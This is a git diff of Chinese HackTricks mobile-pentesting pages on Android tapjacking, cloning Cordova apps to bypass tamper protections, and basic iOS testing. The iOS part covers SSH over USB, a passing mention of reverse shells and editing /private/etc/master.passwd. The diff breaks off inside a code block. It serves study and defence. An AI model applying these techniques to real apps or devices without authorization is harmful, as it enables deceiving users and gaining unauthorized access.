学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,48 @@
|
|||
# Tapjacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Tapjacking**是一种攻击,其中启动一个**恶意应用程序**,并**定位在受害者应用程序的顶部**。一旦它明显遮挡了受害者应用程序,其用户界面被设计成以一种方式欺骗用户与其交互,同时将交互传递给受害者应用程序。\
|
||||
实际上,它**使用户无法意识到他们实际上是在受害者应用程序上执行操作**。
|
||||
**Tapjacking** 是一种攻击,其中 **恶意** **应用程序** 被启动并 **定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,它的用户界面被设计成欺骗用户与之互动,同时将互动传递给受害者应用程序。\
|
||||
实际上,它是 **让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
### 检测
|
||||
|
||||
为了检测容易受到此攻击的应用程序,您应该搜索Android清单中的**导出活动**(请注意,具有意图过滤器的活动默认情况下会自动导出)。找到导出的活动后,**检查它们是否需要任何权限**。这是因为**恶意应用程序也将需要该权限**。
|
||||
为了检测易受此攻击的应用程序,您应该在 Android 清单中搜索 **导出活动**(请注意,带有 intent-filter 的活动默认情况下会自动导出)。一旦找到导出活动,**检查它们是否需要任何权限**。这是因为 **恶意应用程序也需要该权限**。
|
||||
|
||||
### 保护
|
||||
|
||||
#### Android 12(API 31,32)及更高版本
|
||||
#### Android 12 (API 31,32) 及更高版本
|
||||
|
||||
[**根据此来源**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,**从Android 12(API 31和30)及更高版本开始,Android会自动阻止Tapjacking攻击。因此,即使应用程序存在漏洞,您**也无法利用它**。
|
||||
[**根据这个来源**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** 从 Android 12 (API 31 & 30) 及更高版本开始,Android 会自动防止 tapjacking 攻击。因此,即使应用程序存在漏洞,您 **也无法利用它**。
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
如果**`android:filterTouchesWhenObscured`**设置为**`true`**,当视图的窗口被另一个可见窗口遮挡时,该`View`将不会接收触摸事件。
|
||||
如果 **`android:filterTouchesWhenObscured`** 设置为 **`true`**,则 `View` 在视图窗口被另一个可见窗口遮挡时将不会接收触摸。
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
如果将属性**`setFilterTouchesWhenObscured`**设置为true,还可以防止在Android版本较低时利用此漏洞。\
|
||||
例如,如果设置为**`true`**,则按钮在被遮挡时可以自动**禁用**:
|
||||
如果 Android 版本较低,属性 **`setFilterTouchesWhenObscured`** 设置为 true 也可以防止利用此漏洞。\
|
||||
例如,如果设置为 **`true`**,则按钮在被遮挡时可以自动 **禁用**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -49,46 +51,47 @@ android:layout_height="wrap_content"
|
|||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## Exploitation
|
||||
## 利用
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
最近的Android应用程序执行Tapjacking攻击(+在被攻击应用程序的导出活动之前调用)可以在以下位置找到:[**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
|
||||
最新的 **Android 应用程序** 执行 Tapjacking 攻击(+ 在被攻击应用程序的导出活动之前调用)可以在这里找到: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
|
||||
|
||||
按照**README说明**来使用它。
|
||||
请遵循 **README 指示使用它**。
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
一个示例项目实现了**FloatingWindowApp**,可以放置在其他活动的顶部以执行点击劫持攻击,可以在[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)中找到(有点老,祝你构建apk好运)。
|
||||
一个实现 **FloatingWindowApp** 的示例项目,可以用于放置在其他活动之上以执行点击劫持攻击,可以在 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) 找到(有点旧,祝你构建 apk 顺利)。
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
看起来这个项目现在没有维护了,这个功能不再正常工作
|
||||
看起来这个项目现在不再维护,这个功能也不再正常工作
|
||||
{% endhint %}
|
||||
|
||||
您可以使用[**qark**](https://github.com/linkedin/qark)与`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`参数来创建一个恶意应用程序,以测试可能的**Tapjacking**漏洞。
|
||||
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序,以测试可能的 **Tapjacking** 漏洞。
|
||||
|
||||
缓解措施相对简单,开发人员可以选择在一个视图被另一个视图覆盖时不接收触摸事件。使用[Android开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
缓解措施相对简单,因为开发者可以选择在视图被另一个视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> 有时,应用程序必须能够验证用户全知全意地执行某个操作,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户执行这些操作,而用户却不知情,通过隐藏视图的预期目的。作为补救措施,框架提供了一个触摸过滤机制,可用于提高提供对敏感功能的访问的视图的安全性。
|
||||
> 有时,应用程序能够验证某个操作是在用户的充分了解和同意下进行的,这一点至关重要,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作,通过隐藏视图的预期目的。作为补救措施,框架提供了一种触摸过滤机制,可以用来提高提供敏感功能访问的视图的安全性。
|
||||
>
|
||||
> 要启用触摸过滤,请调用[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)或将android:filterTouchesWhenObscured布局属性设置为true。启用后,框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,每当toast、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收触摸。
|
||||
> 要启用触摸过滤,请调用 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) 或将 android:filterTouchesWhenObscured 布局属性设置为 true。当启用时,框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,当吐司、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收到触摸。
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Cordova 应用
|
||||
# Cordova Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**有关更多详细信息,请查看 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**。这是一个摘要:
|
||||
**有关更多详细信息,请查看 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**。这是一个总结:
|
||||
|
||||
Apache Cordova 以使用 **JavaScript、HTML 和 CSS** 开发 **混合应用** 而闻名。它允许创建 Android 和 iOS 应用程序;然而,它缺乏默认的机制来保护应用程序的源代码。与 React Native 相反,Cordova 默认不编译源代码,这可能导致代码篡改漏洞。Cordova 使用 WebView 来渲染应用程序,即使编译为 APK 或 IPA 文件,仍会暴露 HTML 和 JavaScript 代码。相比之下,React Native 使用 JavaScript VM 来执行 JavaScript 代码,提供更好的源代码保护。
|
||||
Apache Cordova 被认可为能够使用 **JavaScript、HTML 和 CSS** 开发 **混合应用程序**。它允许创建 Android 和 iOS 应用程序;然而,它缺乏保护应用程序源代码的默认机制。与 React Native 相比,Cordova 默认不编译源代码,这可能导致代码篡改漏洞。Cordova 使用 WebView 渲染应用程序,即使在编译成 APK 或 IPA 文件后,HTML 和 JavaScript 代码仍然暴露。相反,React Native 使用 JavaScript VM 执行 JavaScript 代码,提供更好的源代码保护。
|
||||
|
||||
### 克隆 Cordova 应用
|
||||
### 克隆 Cordova 应用程序
|
||||
|
||||
在克隆 Cordova 应用之前,请确保已安装 NodeJS 以及其他先决条件,如 Android SDK、Java JDK 和 Gradle。官方 Cordova [文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) 提供了这些安装的详细指南。
|
||||
在克隆 Cordova 应用程序之前,请确保已安装 NodeJS 以及 Android SDK、Java JDK 和 Gradle 等其他先决条件。官方 Cordova [文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) 提供了这些安装的全面指南。
|
||||
|
||||
假设有一个名为 `Bank.apk` 的示例应用,包名为 `com.android.bank`。要访问源代码,请解压 `bank.apk` 并导航至 `bank/assets/www` 文件夹。该文件夹包含应用程序的完整源代码,包括 HTML 和 JS 文件。应用程序的配置可以在 `bank/res/xml/config.xml` 中找到。
|
||||
考虑一个名为 `Bank.apk` 的示例应用程序,其包名为 `com.android.bank`。要访问源代码,请解压 `bank.apk` 并导航到 `bank/assets/www` 文件夹。该文件夹包含应用程序的完整源代码,包括 HTML 和 JS 文件。应用程序的配置可以在 `bank/res/xml/config.xml` 中找到。
|
||||
|
||||
要克隆应用程序,请按照以下步骤操作:
|
||||
```bash
|
||||
|
@ -30,18 +31,18 @@ npm install -g cordova@latest
|
|||
cordova create bank-new com.android.bank Bank
|
||||
cd bank-new
|
||||
```
|
||||
将`bank/assets/www`目录中的内容复制到`bank-new/www`目录,但不包括`cordova_plugins.js`、`cordova.js`、`cordova-js-src/`以及`plugins/`目录。
|
||||
将 `bank/assets/www` 的内容复制到 `bank-new/www`,排除 `cordova_plugins.js`、`cordova.js`、`cordova-js-src/` 和 `plugins/` 目录。
|
||||
|
||||
在创建新的Cordova项目时,需要指定平台(Android或iOS)。要克隆Android应用程序,请添加Android平台。请注意,Cordova的平台版本和Android API级别是不同的。有关平台版本和支持的Android API的详细信息,请参考Cordova的[文档](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)。
|
||||
创建新的 Cordova 项目时,请指定平台(Android 或 iOS)。对于克隆 Android 应用,请添加 Android 平台。请注意,Cordova 的平台版本和 Android API 级别是不同的。有关平台版本和支持的 Android API 的详细信息,请参阅 Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)。
|
||||
|
||||
要确定适当的Cordova Android平台版本,请检查原始应用程序的`cordova.js`文件中的`PLATFORM_VERSION_BUILD_LABEL`。
|
||||
要确定适当的 Cordova Android 平台版本,请检查原始应用程序的 `cordova.js` 文件中的 `PLATFORM_VERSION_BUILD_LABEL`。
|
||||
|
||||
设置平台后,安装所需的插件。原始应用程序的`bank/assets/www/cordova_plugins.js`文件列出了所有插件及其版本。请按照以下示例逐个安装每个插件:
|
||||
设置平台后,安装所需的插件。原始应用程序的 `bank/assets/www/cordova_plugins.js` 文件列出了所有插件及其版本。逐个安装每个插件,如下所示:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
```
|
||||
如果一个插件在 npm 上不可用,可以从 GitHub 获取:
|
||||
如果插件在 npm 上不可用,可以从 GitHub 获取:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||
|
@ -56,22 +57,23 @@ cordova requirements
|
|||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
这个命令生成一个启用调试选项的APK,通过Google Chrome方便调试。在安装之前签署APK是至关重要的,特别是如果应用程序包含代码篡改检测机制。
|
||||
此命令生成一个启用调试选项的APK,便于通过Google Chrome进行调试。在安装之前签署APK是至关重要的,特别是当应用程序包含代码篡改检测机制时。
|
||||
|
||||
### 自动化工具
|
||||
|
||||
对于那些希望自动化克隆过程的人,**[MobSecco](https://github.com/Anof-cyber/MobSecco)** 是一个推荐的工具。它简化了Android应用程序的克隆过程,简化了上述步骤。
|
||||
对于那些希望自动化克隆过程的人,**[MobSecco](https://github.com/Anof-cyber/MobSecco)** 是一个推荐的工具。它简化了Android应用程序的克隆,简化了上述步骤。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# iOS基本测试操作
|
||||
# iOS 基本测试操作
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **iOS设备识别和访问摘要**
|
||||
## **iOS 设备识别与访问总结**
|
||||
|
||||
### **识别iOS设备的UDID**
|
||||
### **识别 iOS 设备的 UDID**
|
||||
|
||||
为了唯一识别iOS设备,使用一个称为UDID的40位数字序列。在macOS Catalina或更新版本中,可以在**Finder应用程序**中找到UDID,因为iTunes不再存在。一旦通过USB连接设备并在Finder中选择,当单击其名称下的详细信息时,设备会显示其UDID以及其他信息。
|
||||
为了唯一识别 iOS 设备,使用一个称为 UDID 的 40 位序列。在 macOS Catalina 或更新版本中,可以在 **Finder 应用**中找到,因为 iTunes 不再存在。设备通过 USB 连接并在 Finder 中选择后,点击其名称下的详细信息即可显示其 UDID 及其他信息。
|
||||
|
||||
在Catalina之前的macOS版本中,iTunes可以帮助发现UDID。可以在[这里](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)找到详细的说明。
|
||||
对于 Catalina 之前的 macOS 版本,iTunes 方便地发现 UDID。详细说明可以在 [这里](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) 找到。
|
||||
|
||||
命令行工具提供了检索UDID的替代方法:
|
||||
命令行工具提供了获取 UDID 的替代方法:
|
||||
|
||||
* **使用I/O Registry Explorer工具`ioreg`:**
|
||||
* **使用 I/O Registry Explorer 工具 `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
* **在 macOS(和 Linux)上使用 `ideviceinstaller`:**
|
||||
* **使用 `ideviceinstaller` 进行 macOS(和 Linux):**
|
||||
```bash
|
||||
$ brew install ideviceinstaller
|
||||
$ idevice_id -l
|
||||
|
@ -43,24 +44,24 @@ $ instruments -s devices
|
|||
```
|
||||
### **访问设备 Shell**
|
||||
|
||||
安装 **OpenSSH package** 后,可以通过 `ssh root@<device_ip_address>` 进行 **SSH 访问**。重要的是要更改用户 `root` 和 `mobile` 的默认密码 (`alpine`) 以保护设备安全。
|
||||
**SSH 访问** 通过在越狱后安装 **OpenSSH 包** 来启用,允许通过 `ssh root@<device_ip_address>` 进行连接。更改用户 `root` 和 `mobile` 的默认密码 (`alpine`) 对于保护设备至关重要。
|
||||
|
||||
在没有 Wi-Fi 的情况下,**通过 USB 进行 SSH** 变得必要,使用 `iproxy` 来映射设备端口以进行 SSH 连接。通过运行以下设置,可以通过 USB 实现 SSH 访问:
|
||||
在没有 Wi-Fi 的情况下,**通过 USB 的 SSH** 变得必要,使用 `iproxy` 来映射设备端口以进行 SSH 连接。通过运行以下命令,可以通过 USB 启用 SSH 访问:
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**设备上的Shell应用程序**,如NewTerm 2,促进了直接设备交互,特别适用于故障排除。**反向SSH shell**也可以建立,以便从主机计算机进行远程访问。
|
||||
**设备上的 shell 应用程序**,如 NewTerm 2,便于直接与设备交互,特别适用于故障排除。**反向 SSH shell** 也可以建立,以便从主机计算机进行远程访问。
|
||||
|
||||
### **重置忘记的密码**
|
||||
|
||||
要将忘记的密码重置为默认值(`alpine`),需要编辑`/private/etc/master.passwd`文件。这涉及将现有哈希替换为`root`和`mobile`用户条目旁边`alpine`的哈希。
|
||||
要将忘记的密码重置为默认值(`alpine`),需要编辑 `/private/etc/master.passwd` 文件。这涉及将现有哈希替换为 `root` 和 `mobile` 用户条目旁边的 `alpine` 哈希。
|
||||
|
||||
## **数据传输技术**
|
||||
|
||||
### **传输应用数据文件**
|
||||
|
||||
**通过SSH和SCP进行归档和检索:** 使用`tar`归档应用程序的Data目录,然后使用`scp`传输是直截了当的。下面的命令将Data目录归档为.tgz文件,然后从设备中拉取:
|
||||
**通过 SSH 和 SCP 进行归档和检索:** 使用 `tar` 归档应用程序的 Data 目录,然后使用 `scp` 进行传输是简单的。下面的命令将 Data 目录归档为 .tgz 文件,然后从设备中提取:
|
||||
```bash
|
||||
